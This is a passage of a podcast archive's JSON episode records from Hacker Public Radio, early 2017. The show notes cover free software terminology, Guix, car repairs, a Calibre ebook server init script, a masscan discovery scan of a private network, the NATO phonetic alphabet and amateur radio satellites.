                                                            • \n
                                                            • \n
                                                              • Comment 1:\nspaceman on 2016-12-24:\n\"i love your kid\"

                                                              \n
                                                            • hpr2191\n(2016-12-26) \"Building a Soundboard Android App with App Inventor\"\nby droops.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nspaceman on 2016-12-26:\n\"free software\"
                                                              • Comment 2:\ndroops on 2016-12-30:\n\"Best Tool\"

                                                              \n
                                                            • hpr2192\n(2016-12-27) \"Fun with Oscilloscopes\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2193\n(2016-12-28) \"a clean podcast with no swearing\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2016-12-27:\n\"HPR About Page\"
                                                              • Comment 2:\nMike Ray on 2016-12-28:\n\"Points\"
                                                              • Comment 3:\nMatthew Jones on 2016-12-28:\n\"Wtf? \"

                                                              \n
                                                            • hpr2194\n(2016-12-29) \"The low-down on what's up in the Taiwan Strait.\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-12-16:\n\"First repercussions?\"
                                                              • Comment 2:\nKen Fallon on 2016-12-29:\n\"Fantastic\"
                                                              • Comment 3:\nClinton Roy on 2016-12-29:\n\"Outstanding!\"
                                                              • Comment 4:\nMr. Young on 2016-12-29:\n\"Informative history lesson\"
                                                              • Comment 5:\nclacke on 2016-12-31:\n\"Wow\"

                                                              \n
                                                            • hpr2195\n(2016-12-30) \"All you need to know when uploading a show\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-12-29:\n\"Text source\"
                                                              • Comment 2:\nclacke on 2016-12-29:\n\"Correction: Text source\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2197,"date":"2017-01-03","title":"Why you should not say Free Software","duration":429,"summary":"Ken suggests that the term Free Software is a bug.","notes":"

                                                            \nAs we all know the word Free has two meanings in the English language. Free of cost and Free from Freedom. So we get the expression \"free as in Beer\" and \"Free as in Freedom\" - or Free with a lower or upper F. Having disambiguity in a computer program is bad. So let's translate that problem to computer languages, and I'm going to deliberately pick the C language. So for example were the word \"exit\" (which is a function), and you wanted to use it as a variable.\n

                                                            \n

                                                            \nset exit = 1;\n

                                                            \n

                                                            \nThis leads to problems as the computer can't tell if the references to \"exit\" the function or is it the \"variable\".\n

                                                            \n

                                                            \nFor that reason the \"The GNU C Library Reference Manual\" makes it clear that this is not allowed\n

                                                            \n
                                                            \n

                                                            \n 1.3.3 Reserved Names
                                                            \n The names of all library types, macros, variables and functions that come from the ISO C standard are reserved unconditionally; your program may not redefine these names. All other library names are reserved if your program explicitly includes the header file that defines or declares them. There are several reasons for these restrictions:\n

                                                            \n

                                                            \n Other people reading your code could get very confused if you were using a function named \"exit\" to do something completely different from what the standard \"exit\" function does, for example. Preventing this situation helps to make your programs easier to understand and contributes to modularity and maintainability.\n

                                                            \n

                                                            \n It avoids the possibility of a user accidentally redefining a library function that is called by other library functions. If redefinition were allowed, those other functions would not work properly.\n

                                                            \n
                                                            \n

                                                            \nThis was written by \"Sandra Loosemore with Richard M. Stallman, Roland McGrath, Andrew Oram, and Ulrich Drepper for version 2.18\".\n

                                                            \n

                                                            \nIn terms of the English Language, this results in:\n

                                                            \n\n
                                                              \n
                                                            • segfaults where people just get confused.\n
                                                            • \n
                                                            • Buffer overflows, where there is too much information to take in.\n
                                                            • \n
                                                            • time outs where the amount of time available to explain has been exceeded.\n
                                                            • \n
                                                            \n\n

                                                            \nNow you can get around the problem by prefixing the variable name with a name space, which is very common in XML.\n

                                                            \n

                                                            \nset my:exit = 1;\n

                                                            \n

                                                            \nHowever that's cumbersome and causes extra cycles to be expended, or abnormal termination of the program. Not many cycles but a few and it adds up over time. The more you use it the more wastage occurs. When you have two Bob's working in a company. You always need to specify if it's \"Bob in Accounting\" or \"Bob in Sales\".\n

                                                            \n

                                                            \nIt is often pointed out that this is not an issue in other languages, for example Dutch has \"Vrij\" for freedom and \"Gratis\" for without cost. However the FSF is a US organisation, in a English speaking area. So we should focus on the fact that the English compiler should have rejected at use of \"Free\" when it was first proposed because it was obviously disambiguous.\n

                                                            \n

                                                            \nThe GNU project was started in 1983 and looking at the software available around then I find it very hard to believe that the concept of \"software you pay for\" was not widely known.\nhttps://en.wikipedia.org/wiki/History_of_software\n

                                                            \n\n
                                                              \n
                                                            • WordStar, \"By early 1980, MicroPro claimed in advertisements that 5,000 people had purchased WordStar in eight months\"\n
                                                            • \n
                                                            • WordPerfect, \"The program was originally developed under contract at Brigham Young University for use on a Data General minicomputer in 1979.\"\n
                                                            • \n
                                                            • VisiCalc, \"It sold over 700,000 copies in six years\"\n
                                                            • \n
                                                            • Lotus 1-2-3, \"Lotus 1-2-3 was released on 26 January 1983, and immediately overtook Visicalc in sales.\"\n
                                                            • \n
                                                            \n\n

                                                            \nLooking at the archives of the Byte Magazine there are numerous examples where software \"Free/free\" and proprietary closed software was for sale as far back as 1979. Even the term freeware was coined in 1982 by Andrew Fluegelman.\n

                                                            \n

                                                            \nSo it would seem that the word \"Free Software\" was a bug from the start. Not that there is probably anything we can do about it now but if this bugs you then go over to the FSF and donate. If it doesn't bug you then donate. If you could care less, or indeed if you couldn't care less then also donate.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"free software,free,freedom","version":0,"downloads":0,"valid":1}, {"id":2198,"date":"2017-01-04","title":"How awesome is Guix and why will it take over the world","duration":5011,"summary":"I sit down with Chris Webber and we ramble about how great Guix is","notes":"

                                                            I heard a \"holy crap\" somewhere in there, so I guess this show is explicit. That's about the level you can expect. :-)

                                                            \n

                                                            I recorded this together with @cwebber@identi.ca over a year ago, on 2015-12-01. I told him I was hoping to get it out in time for FOSDEM. I didn't clarify which FOSDEM. :-D

                                                            \n

                                                            So this thing has been lying around, and I've been polishing it and I've been thinking \"man, 90 minutes is a bit rich for an HPR episode, I should edit this thing at some point\". Procrastinator strikes again!

                                                            \n

                                                            Well, that point never came in the course of one year, and HPR needs episodes, so this is what you get. I skipped around in it for QA reasons (audio sync) and I found that I wanted to listen to it again myself, so if your interests are anything like mine, I think it will be able to hold your attention. We had great fun recording it, and now that I've got it out of the gate, maybe I won't be ashamed to ask Chris to record another one about one of the many topics that came up during this show.

                                                            \n

                                                            In the year since we recorded this, Guix has released versions 0.10.0, 0.11.0 and 0.12.0. It has functioning GNOME (based on Wingo's elogind) and can boot from a LUKS-encrypted drive.

                                                            \n

                                                            DMD, the Daemon-Managing Daemon that was at the core of GuixSD, is now Shepherd, and still at the core of GuixSD.

                                                            \n

                                                            Chris's project 8Sync is at version 0.2 and has a real GNU homepage (generated from S-expressions by Haunt!) and Guile 2.2 is closer than ever. 8Sync 0.2 uses some experimental features available in Guile 2.1 snapshots.

                                                            \n

                                                            Guix and Software Conservancy still need your money (The FSF accepts Bitcoin!), and FOSDEM is still, or again, around the corner. I won't be going there this year, though, due to scheduling conflicts.

                                                            \n

                                                            On my latest laptop I'm running NixOS and it's running just great. My Guix VM on the other machine is no longer running Enlightenment, now that GNOME is ready. :-)

                                                            \n

                                                            I haven't fixed clusterssh in either Nix nor Guix, but tmux-cssh works pretty great too!

                                                            \n

                                                            Someone should still write guix-bisect!

                                                            \n

                                                            GuixOps has been dormant during 2016, but as late as two months ago there was some slight movement on the mailing list.

                                                            \n

                                                            Links to various things and people mentioned in the show:

                                                            \n","hostid":311,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"guix, linux, sysadmin, os, package management, nix, scheme, guile","version":0,"downloads":0,"valid":1}, {"id":2199,"date":"2017-01-05","title":"Replacing the Throttle Position Sensor on My Truck","duration":1138,"summary":"Sound-seeing episode, listen as I Replace the throttle position sensor on my truck","notes":"

                                                            When the \"check engine\" light came on in my truck again, it turned out to be the throttle position sensor just like when I very first bought the truck about a year-and-a-half ago. That time, I was able to fix it by spraying contact cleaner on it, but this time that didn't work. I ordered a new part. In this episode I talk while I replace the part and I also talk about the nifty diagnostic tool that I used to get the trouble code and how it sends the information to your smartphone.

                                                            \n\n

                                                            \"Throttle

                                                            \n\n

                                                            What you can gather with the torque diagnostic tool for Android:

                                                            \n\n
                                                              \n\t
                                                            • View live OBD engine data on your Android phone - Connect to your vehicle ECU
                                                            • \n\t
                                                            • Fully customisable dashboard screens - Design your own layouts and custom dials, use your own themes
                                                            • \n\t
                                                            • Retrieve Fault Codes (DTCs) and clear Check Engine lights - View fault descriptions using the built-in databases
                                                            • \n\t
                                                            • Upload live OBD2 data to your webserver or the torque web viewer in realtime
                                                            • \n\t
                                                            • Check the performance of your vehicle with BHP / Torque / 0-60 & Quarter Mile widgets
                                                            • \n
                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, cars, car repair, automotive","version":0,"downloads":0,"valid":1}, {"id":2200,"date":"2017-01-06","title":"Episode one of the future of free software series","duration":154,"summary":"introduction to the series","notes":"

                                                            \nSpaceman introduces a series on the future of free software as he sees it.\n

                                                            \n

                                                            \nThe full series is available on my hidden service: https://qzc3ou3vccr3yjyg.onion/free-software-podcasts/the-future-of-free-software/\n

                                                            \n

                                                            \nYou can access the site using the Tor Browser available here\n

                                                            ","hostid":344,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"free software","version":0,"downloads":0,"valid":1}, {"id":2201,"date":"2017-01-09","title":"Matthew \"Lord Drachenblut\" Williams","duration":2292,"summary":"HPR Community members remember the digital dragon","notes":"

                                                            \nEulogies for Lord Drachenblut, including:\n

                                                            \n
                                                              \n
                                                            • Klaatu
                                                            • \n
                                                            • Randy Noseworthy
                                                            • \n
                                                            • ClaudioM
                                                            • \n
                                                            • Brian Proffitt (writing for Fedora Project)
                                                            • \n
                                                            • Ahuka
                                                            • \n
                                                            • Joe C. Hecht (ref: google+)
                                                            • \n
                                                            • Lostnbronx
                                                            • \n
                                                            • Knightwise
                                                            • \n
                                                            \n\n

                                                            Incidental music by Severed Fifth

                                                            ","hostid":159,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Lord Drachenblut","version":0,"downloads":0,"valid":1}, {"id":2202,"date":"2017-01-10","title":"Makers on YouTube","duration":1487,"summary":"I am trying to learn to make various things and am watching YouTube to find information","notes":"

                                                            Makers on YouTube

                                                            \n

                                                            Introduction

                                                            \n

                                                            I have always enjoyed making stuff. I was born and brought up in the 1940’s and 1950’s when the UK was recovering from WW2, and in my experience everyone I knew repaired and made stuff. Most of them grew their own food as well.

                                                            \n

                                                            I have never been particularly good at making stuff, but I have built some basic furniture, built storage solutions for the house, built a rabbit hutch and run for my children’s pets, and so on and so forth.

                                                            \n

                                                            In high school, even though I went to a Grammar School, all boys attended mandatory lessons on metalwork and woodwork. We learnt how to use hand tools and some power tools, make joints in wood, we also learnt to do basic metal work like soldering and brazing, and so forth.

                                                            \n

                                                            Learning this stuff at school was great but I have used the woodworking techniques more than the metalwork - other than soldering.

                                                            \n

                                                            I stopped watching TV in 2013, preferring reading and listening to podcasts. In recent times I have subscribed to a number of YouTube channels which share woodworking and metalworking techniques and projects. In general these people are Makers and Artists who can turn their hands to many skills. I thought I would share some of my favourites via HPR.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a moderately long set of notes for this episode. Follow this link to view them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"making, youtube, podcast","version":0,"downloads":0,"valid":1}, {"id":2203,"date":"2017-01-11","title":"NOT SO SMART","duration":464,"summary":"How I am failing at troubleshooting disk I O issues","notes":"\n

                                                            (tracer32.exe) and LogExpert regex (warn|\\berr|fail|unabl|can|not|fault)

                                                            \n
                                                            rsync --info=progress2 ( need to compile from source ... )
                                                            \n\n
                                                            grub-install --force --removable --boot-directory=/s/boot /dev/sdd\n\ngrub-mkconfig -o /s/boot/grub.cfg
                                                            \n

                                                            boot.ini ?!?!? ..( never could figure out how to boot my windows XP part from GRUB ...thought this would help with no luck )

                                                            \n
                                                            multi(0)disk(0)rdisk(0)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\nmulti(0)disk(0)rdisk(1)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\nmulti(0)disk(0)rdisk(2)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\nmulti(0)disk(0)rdisk(3)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"\nmulti(0)disk(0)rdisk(4)partition(2)\\WINXP=\"Microsoft Windows XP Professional\"
                                                            \n\n
                                                            tune2fs -c 1 ( check drives on boot )
                                                            \n

                                                            Linux provides other I/O schedulers such as the Noop scheduler, the Anticipatory scheduler and the Deadline scheduler.

                                                            \n
                                                            Dec 31 14:59:46 plexserver console-kit-daemon[1463]: missing action\nDec 31 15:01:45 plexserver smartd[1038]: Device: /dev/sda [SAT], SMART Usage Attribute: 194 Temperature_Celsius changed from 113 to 112\nDec 31 15:01:45 plexserver smartd[1038]: Device: /dev/sdc [SAT], SMART Usage Attribute: 194 Temperature_Celsius changed from 112 to 111
                                                            \n

                                                            40-50C range are optimal.

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"troubleshooting,ubuntu","version":0,"downloads":0,"valid":1}, {"id":2204,"date":"2017-01-12","title":"MASSCAN","duration":503,"summary":"MASSCAN FOR THE 10 DOTS O M G","notes":"

                                                            I chat about my issues with our vuln scanner and destroy the discovery scan times from 5-8 days to 1hr with Masscan.

                                                            \n\n
                                                            masscan   -p21,22,23,25,53,80,88,110,111,113,135,139,143,220,264,389,443,445,449,524,585,636,993,995,1433,1521,1723,3306,3389,5900,8080    --rate=14114 --open --excludefile BLACKLIST --ping  172.16.0.0/12 -oX  172.xml
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"nmap, masscan, vulnerability, scanners","version":0,"downloads":0,"valid":1}, {"id":2205,"date":"2017-01-13","title":"Quick Tips Roomba and silicone Packets","duration":421,"summary":"Quick Tips Roomba Cleaning and Silicone Packet reuse","notes":"
                                                              \n
                                                            • First bit is about Roomba and keeping them clean and happy!
                                                            • \n
                                                            • 2nd bit is about reusing Silicone Packets by baking them in the toaster oven!
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Roomba, Silicone","version":0,"downloads":0,"valid":1}, {"id":2206,"date":"2017-01-16","title":"Podcasts I Listen To","duration":967,"summary":"Current podcasts that I listen to on my Android devices.","notes":"

                                                            Podcasts:

                                                            \n
                                                              \n
                                                            1. SystemAU - Australian Linux Perspective with Music
                                                            2. \n
                                                            3. Accidental Tech Podcast - Apple Computers/Programs
                                                            4. \n
                                                            5. Android Central Podcast - Android Devices
                                                            6. \n
                                                            7. BleedTV Podcast - TV Info
                                                            8. \n
                                                            9. Common Sense with Dan Carlin
                                                            10. \n
                                                            11. Dan Carlin's Hard Core History - History Lessons
                                                            12. \n
                                                            13. Hacker Public Radio
                                                            14. \n
                                                            15. Jalen & Jacoby - ESPN Sports Guys
                                                            16. \n
                                                            17. Last Men on Earth - 2 Dudes Being Crude over Alcohol
                                                            18. \n
                                                            19. Linux Voice - Linux Guys talking Linux
                                                            20. \n
                                                            21. Linux for the Rest of US - Door to Door Geek & Cody Cooper
                                                            22. \n
                                                            23. MintCast - About Linux Mint from the Linux Mint Community
                                                            24. \n
                                                            25. MobileTech Roundup - Kevin Tofel & Mat Miller talking mobile devices
                                                            26. \n
                                                            27. Linux Luddites - Linux Talk From Cranky Dudes
                                                            28. \n
                                                            29. No Agenda - John Dvorak & Adam Curry Deconstruct the News
                                                            30. \n
                                                            31. PTI - Tony Kornheiser and Michael Wilbon Talking Sports
                                                            32. \n
                                                            33. Stuff You Missed in History Class - Short, Concise History Lesson
                                                            34. \n
                                                            35. Talking TV with Ryan & Ryan - 2 TV Critics
                                                            36. \n
                                                            37. Television Zombies - 4 Friends Talking SF and Fantasy TV
                                                            38. \n
                                                            39. TLLTS - The Linux Link Tech Show
                                                            40. \n
                                                            41. The Talk Show with John Gruber - Daring Fireball/Apple Topics
                                                            42. \n
                                                            43. The Tony Kornheiser Show - Sports, Life, Politics, Movies, etc.
                                                            44. \n
                                                            45. TV Campfire Podcasts - TV Bloggers & TV Industry Pros Talking TV
                                                            46. \n
                                                            47. TV Talk Machine w/ Tom Goodman & Jason Snell - TV Industry
                                                            48. \n
                                                            49. TV Times Three - TV Bloggers Talking Up their Favorite Shows
                                                            50. \n
                                                            51. The Ubuntu Podcast - Ubuntu Linux Plus other Distros/Linux Info
                                                            52. \n
                                                            53. I Can't Believe this S*hit - 2 Politically Incorrect Dudes Talking Junk
                                                            54. \n
                                                            ","hostid":348,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"feed,podcast","version":0,"downloads":0,"valid":1}, {"id":2207,"date":"2017-01-17","title":"NATO phonetic alphabet","duration":478,"summary":"Neighbourly greetings. We cover the title, podcast recommendations, and well wishes.","notes":"

                                                            NATO phonetic alphabet in block diagram:

                                                            \n

                                                            [ English 26 letter alphabet ] --> [ Phonetic Function Box-machine-phone ] --> [ Output ]

                                                            \n
                                                            A - Alfa\nB - Bravo\nC - Charlie\nD - Delta\nE - Echo\nF - Foxtrot\nG - Golf\nH - Hotel\nI - India\nJ - Juliett\nK - Kilo\nL - Lima\nM - Mike\nN - November\nO - Oscar\nP - Papa\nQ - Quebec\nR - Romeo\nS - Sierra\nT - Tango\nU - Uniform\nV - Victor\nW - Whiskey\nX - X-Ray\nY - Yankee\nZ - Zulu\n~ - ~\n0 - Zero\n1 - One\n2 - Two\n3 - Three\n4 - Four\n5 - Five\n6 - Six\n7 - Seven\n8 - Eight\n9 - Niner
                                                            \n

                                                            Mike India Charlie Romeo Oscar Bravo Echo FULL-STOP Tango Victor

                                                            \n

                                                            Charlie Oscar November Golf Romeo Echo Sierra Sierra India Oscar November Alfa Lima Delta India Siera Hotel FULL-STOP Charlie Oscar Mike

                                                            \n

                                                            X-Ray BREAK Mike India November Uniform Sierra BREAK Oscar November Echo

                                                            \n

                                                            Hotel Alfa Charlie Kilo Echo Romeo BREAK Papa Uniform Bravo Lima India Charlie BREAK Romeo Alfa Delta India Oscar

                                                            \n

                                                            Please take care, TTFN, neighbor.

                                                            \n

                                                            rttykitty

                                                            \n","hostid":349,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"NATO,Phonetic,NatoPhonetic","version":0,"downloads":0,"valid":1}, {"id":2208,"date":"2017-01-18","title":"Kayak Camping","duration":1502,"summary":"Kayak camping is a really fun (and affordable) way to explore the outdoors and get away.","notes":"

                                                            I talk about my setup for camping out of my kayak and ways to do this for very little money using stuff you already have and getting good cheap gear.

                                                            \n

                                                            Getting out into nature is my favorite thing and I love going where I will not see others for days at a time.

                                                            \n","hostid":1,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"camping, outdoors, kayak, kayaking, boating","version":0,"downloads":0,"valid":1}, {"id":2209,"date":"2017-01-19","title":"Calibre eBook Server","duration":750,"summary":"A quick rundown of how to share your ebook Library on your network using calibre-server","notes":"

                                                            You can share your Calibre ebook library by running the calibre-server daemon, either from your desktop machine or on a server that is available on your local network. (Or, if you have it set up that way, it can be outward-facing to the wide world.)

                                                            \n\n

                                                            To share your library from the desktop Calibre application, choose Connect/share from the menu at the top of the window, then choose Start Content Server. Make a note of the IP address and port, and then you can use other devices on your network to access the library at that address. Normally I use the \"Get Books\" function of the Marvin ebook app on my iPad, or else the \"Experimental Browser\" on my Kindle and download the books directly to the devices. On my Android phone, I use the Chrome browser and then long press on the link to an Epub file, choose to save to device, and then open it using FBreader.

                                                            \n\n

                                                            To share the library from your GNU/Linux server, you'll have to install Calibre on the server and then put a copy of your ebook Library on the server as well. To start and stop the server daemon, you need to put a service startup script in the /etc/init.d directory with all of the other system startup scripts. An example is given below—fill in with the appropriate paths and user data for your setup. (See the calibre-server user manual for a full list of options and their descriptions.) When the script is in place and has executable permissions, you start and stop the service as follows (as root):

                                                            \n\n
                                                            \nservice calibre-server start|stop|restart\n
                                                            \n\n

                                                            Service Startup Script

                                                            \n\n
                                                            \n#!/bin/bash\n\nCALIBRE_LIBRARY_PATH="/path/to/CalibreLibrary"\nPIDFILE=/tmp/calibre-server.pid\nUSER=<run_as_user>        # run daemon as this user\nLOGIN=<end_user_username> # to log into library (optional)\nPW=<password>             # to log into library (optional)\nPORT=3456\n\nstart() {\n        echo "Starting Calibre server..."\n        su -c "calibre-server --with-library=\\"$CALIBRE_LIBRARY_PATH\\" --username=$LOGIN --password=$PW -p $PORT --pidfile=$PIDFILE --daemonize" & \n        if [ $? -ne 0 ]; then\n                echo "Could not start calibre-server."\n        fi\n}\n\nstop() {\n        echo "Stopping Calibre server..."\n        if [ -e $PIDFILE ]; then\n                read PID < $PIDFILE\n                ps aux | grep "$PID" | grep 'calibre-server' > /dev/null\n                RUNNING=$?\n                if [ $RUNNING -eq 0 ]; then\n                        kill $PID\n                        if [ $? -eq 0 ]; then\n                                rm $PIDFILE\n                        fi\n                else\n                        echo "Could not find a calibre-server process with PID $PID."\n                fi\n        else\n                echo "Could not find pidfile: $PIDFILE"\n        fi\n}\n\nrestart() {\n        stop\n        start\n}\n\nstatus() {\n        if [ -e $PIDFILE ]; then\n                read PID < $PIDFILE\n                echo "calibre-server is running with PID $PID."\n        else\n                echo "calibre-server is not running."\n        fi\n}\n\nunknown() {\n        echo "Unrecognized command: $1"\n        echo "Try one of the following: (start|stop|restart|status)"\n}\n\ncase $1 in\n        start ) \n                start\n                ;;\n        stop )\n                stop\n                ;;\n        restart )\n                restart\n                ;;\n        status )\n                status\n                ;;\n        * )\n                unknown\n                ;;\nesac\n
                                                            \n\n\n

                                                            Links

                                                            \n\n
                                                              \n\t
                                                            • Calibre ebook Management Software
                                                            • \n\t
                                                            • Marvin ebook app for iOS
                                                            • \n\t
                                                            • FBreader open-source multi-platform ebook reader.
                                                            • \n
                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, home servers, sharing","version":0,"downloads":0,"valid":1}, {"id":2210,"date":"2017-01-20","title":"On Freedom of Speech and Censorship","duration":1302,"summary":"Reflections on Freedom of Speech ","notes":"

                                                            In this episode, I discuss some of issues that can arise with Freedom of Speech, as well as some of the finer points of what constitutes "censorship".

                                                            \n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Freedom of Speech, Censorship","version":0,"downloads":0,"valid":1}, {"id":2211,"date":"2017-01-23","title":"My podcast workflow","duration":1558,"summary":"How I download, manage, listen to and delete podcasts","notes":"

                                                            My podcast workflow

                                                            \n

                                                            I have been listening to podcasts for many years. I started in 2005, when I bought my first MP3 player.

                                                            \n

                                                            Various podcast downloaders (or podcatchers) have existed over this time, some of which I have tried. Now I use a script based on Bashpodder, which I have built to meet my needs. I also use a database to hold details of the feeds I subscribe to, what episodes have been downloaded, what is on a player to be listened to and what can be deleted. I have written many scripts (in Bash, Perl and Python) to manage all of this, and I will be describing the overall workflow in this episode without going into too much detail.

                                                            \n

                                                            I was prompted to put together this show by folky’s HPR episode 1992 “How I’m handling my podcast-subscriptions and -listening. Thanks to him for a very interesting episode.

                                                            \n

                                                            Follow this link to the full notes for further details.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast,RSS,Atom,Rockbox,playlist,Bashpodder,PostgreSQL,XSLT","version":0,"downloads":0,"valid":1}, {"id":2212,"date":"2017-01-24","title":"meanderings Cyberpunk and the Minidisc","duration":298,"summary":"The Cyberpunk history of the Sony Minidisc","notes":"","hostid":110,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cyberpunk, minidisc, movies","version":0,"downloads":0,"valid":1}, {"id":2213,"date":"2017-01-25","title":"Clay Body","duration":652,"summary":"Basic clay theory","notes":"

                                                            Before we create ceramics, we will begin with some basic theory.

                                                            \n

                                                            Links

                                                            \n

                                                            Added by HPR Admins after the show was released

                                                            \n
                                                              \n
                                                            • Wikipedia article on Clay
                                                            • \n
                                                            • Wikipedia article on Clay\nMinerals
                                                            • \n
                                                            • Wikipedia article on Kaolinite
                                                            • \n
                                                            • Wikipedia article on Feldspar
                                                            • \n
                                                            \n\n","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"clay,pottery,porcelain,ceramic","version":0,"downloads":0,"valid":1}, {"id":2214,"date":"2017-01-26","title":"Upgrading Vehicle Lights From Halogen to LED","duration":1080,"summary":"A quick show about upgrading some of the lights on our vehicles from halogen to LED","notes":"

                                                            This episode is about the process of upgrading halogen vehicle lights to LED. I did this on my pickup truck for the interior dome light, the brake lights, the third brake light, front and back turn signal lights, the backup lights, and also for the license plate lights. While I'm talking about this process, I also install new LED brake light bulbs on our Honda CR-V. I almost forgot to talk about the necessity of installing resistors to handle the problem of hyperflashing with the blinker lights.

                                                            \n\n

                                                            Click on the image below to view the photo album associated with this podcast.

                                                            \n\n

                                                            \"LED

                                                            \n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Automotive, Auto Repair, Car Repair, LED, Lighting","version":0,"downloads":0,"valid":1}, {"id":2215,"date":"2017-01-27","title":"Kickstarter Omega2 Plus first time setup walkthrough","duration":534,"summary":"I talk about my experience setting up the Omega2 plus for the first time","notes":"

                                                            I paid for one Omega2 Plus Kickstarter pledge. Later, as most do, the project offers upgrades. My pack was for one Omega2 plus, an OLED module, and the expansion board. After pledging I then added on another Omega2, a GPS module and a mini expansion board. Review wise, this is a good inexpensive IOT kit for any beginner. Someone that is more advanced can get into Arduino, or ESP8266 with microPython.

                                                            \n\n

                                                            I mention Arduino and ESP8266 with microPython.

                                                            \n\n

                                                            Really good tutorials on how to get going with microPython:

                                                            \n\n

                                                            Links

                                                            \n","hostid":96,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"onion.io, omega2, python, linux, sbc, single board computer, espeak, ogg vorbis, mc hawking","version":0,"downloads":0,"valid":1}, {"id":2216,"date":"2017-01-30","title":"Working AO-85 with my son","duration":993,"summary":"My son and I try to make a contact on an amateur radio satellite","notes":"

                                                            Working AO-85 with my son!

                                                            \n

                                                            Given all the talk about Amateur Radio on the mailing list, I decided to record a live operation show. In this episode my son and I try to make a contact on AO-85. He eventually loses interest and it's just me yelling into a microphone.

                                                            \n

                                                            We don't manage to make a successful contact but we do pick up the bird. One person toward the end tried to pull us out of the noise but there were simply too many people utilizing the satellite for us to make contact. Part of that may have been my Doppler shift settings.

                                                            \n

                                                            Here is the pass data from gPredict (in CST) for this particular attempt:

                                                            \n
                                                            Pass details for AO-85 (orbit 5478)\nObserver: KD5RYO, Siloam Springs, Arkansas\nLAT:36.20 LON:-94.48\nAOS: 2017/01/16 15:03:52 Local\nLOS: 2017/01/16 15:17:45 Local\n-----------------------------------------------------------\n Time                  Az      El  Range Footp  Dop   Loss \n-----------------------------------------------------------\n 2017/01/16 15:03:52 212.06  -0.00  3075  5738  2194 142.16\n 2017/01/16 15:04:33 212.46   2.48  2801  5720  2195 141.35\n 2017/01/16 15:05:15 212.94   5.23  2527  5701  2191 140.45\n 2017/01/16 15:05:57 213.52   8.35  2254  5682  2179 139.46\n 2017/01/16 15:06:38 214.26  11.99  1983  5663  2157 138.35\n 2017/01/16 15:07:20 215.23  16.38  1716  5644  2117 137.09\n 2017/01/16 15:08:02 216.60  21.92  1455  5624  2048 135.66\n 2017/01/16 15:08:43 218.69  29.25  1207  5604  1924 134.03\n 2017/01/16 15:09:25 222.35  39.50   979  5584  1692 132.22\n 2017/01/16 15:10:07 230.57  54.21   793  5564  1245 130.39\n 2017/01/16 15:10:48 261.54  72.25   683  5544   461 129.09\n 2017/01/16 15:11:30 347.38  69.68   687  5524  -524 129.14\n 2017/01/16 15:12:12  11.72  51.01   804  5503 -1288 130.50\n 2017/01/16 15:12:53  18.88  36.54   995  5483 -1720 132.35\n 2017/01/16 15:13:35  22.23  26.49  1225  5463 -1946 134.16\n 2017/01/16 15:14:17  24.21  19.28  1476  5442 -2069 135.78\n 2017/01/16 15:14:58  25.54  13.82  1739  5422 -2139 137.21\n 2017/01/16 15:15:40  26.52   9.47  2009  5402 -2180 138.46\n 2017/01/16 15:16:22  27.28   5.85  2283  5381 -2204 139.57\n 2017/01/16 15:17:03  27.91   2.74  2559  5361 -2218 140.56
                                                            \n

                                                            Finally, here's AO-85's page on AMSAT: https://www.amsat.org/?page_id=4690

                                                            \n

                                                            73 DE KD5RYO

                                                            ","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hamradio, ham, radio, amateur, satellites, projects","version":0,"downloads":0,"valid":1}, {"id":2217,"date":"2017-01-31","title":"building a new voice input device","duration":351,"summary":"a bunch of jibber jabber about putting a little computer into a phone","notes":"

                                                            CHIP computer: https://getchip.com/pages/chip

                                                            \n

                                                            Post about the build: https://jezra.net/post/2017-01-10_phonos.html

                                                            \n

                                                            Now I can get crackin on "How I make beef jerky" :)

                                                            \n","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"voice input,C.H.I.P.,telephone,rotary dial,handset,Blather","version":0,"downloads":0,"valid":1}, {"id":2218,"date":"2017-02-01","title":"Cool Stuff pt. 5","duration":875,"summary":"CPrompt talks about some more cool stuff for you to enjoy!","notes":"
                                                              \n
                                                            1. Android App: Opera Mini\n
                                                            2. \n
                                                            3. Website: CharacterMap\n
                                                            4. \n
                                                            5. Music: Gilad Hekselman\n
                                                            6. \n
